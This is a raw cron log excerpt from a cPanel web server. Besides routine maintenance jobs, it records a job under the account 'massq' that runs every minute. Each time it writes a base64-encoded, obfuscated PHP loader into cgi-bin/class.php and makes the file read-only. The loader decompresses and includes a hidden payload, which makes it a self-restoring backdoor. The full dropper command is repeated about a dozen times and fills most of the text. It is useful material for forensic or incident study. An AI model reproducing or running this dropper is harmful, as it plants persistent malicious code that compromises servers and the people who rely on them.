arN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:32:01 server CROND[7895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:32:01 server CROND[7896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:32:01 server CROND[7897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:33:01 server CROND[8367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:33:01 server CROND[8368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:33:01 server CROND[8369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:34:01 server CROND[8768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:34:01 server CROND[8769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:34:01 server CROND[8770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:35:01 server CROND[9161]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:35:01 server CROND[9165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:35:01 server CROND[9169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:35:01 server CROND[9164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:35:01 server CROND[9168]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:35:01 server CROND[9163]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 06:35:01 server CROND[9171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:35:01 server CROND[9167]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 06:35:01 server CROND[9166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:36:01 server CROND[10007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:36:01 server CROND[10006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:36:01 server CROND[10008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:37:01 server CROND[10442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:37:01 server CROND[10444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:37:01 server CROND[10445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:38:01 server CROND[10909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:38:01 server CROND[10910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:38:01 server CROND[10911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:39:01 server CROND[11283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:39:01 server CROND[11285]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 06:39:01 server CROND[11284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:39:01 server CROND[11286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:40:01 server CROND[11670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:40:01 server CROND[11671]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:40:01 server CROND[11677]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:40:01 server CROND[11678]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:40:01 server CROND[11684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:40:01 server CROND[11683]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:40:01 server CROND[11690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:40:01 server CROND[11687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:41:01 server CROND[12518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:41:01 server CROND[12519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:41:01 server CROND[12520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:42:01 server CROND[12886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:42:01 server CROND[12887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:42:01 server CROND[12889]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 06:42:01 server CROND[12888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:43:01 server CROND[13349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:43:01 server CROND[13350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:43:01 server CROND[13351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
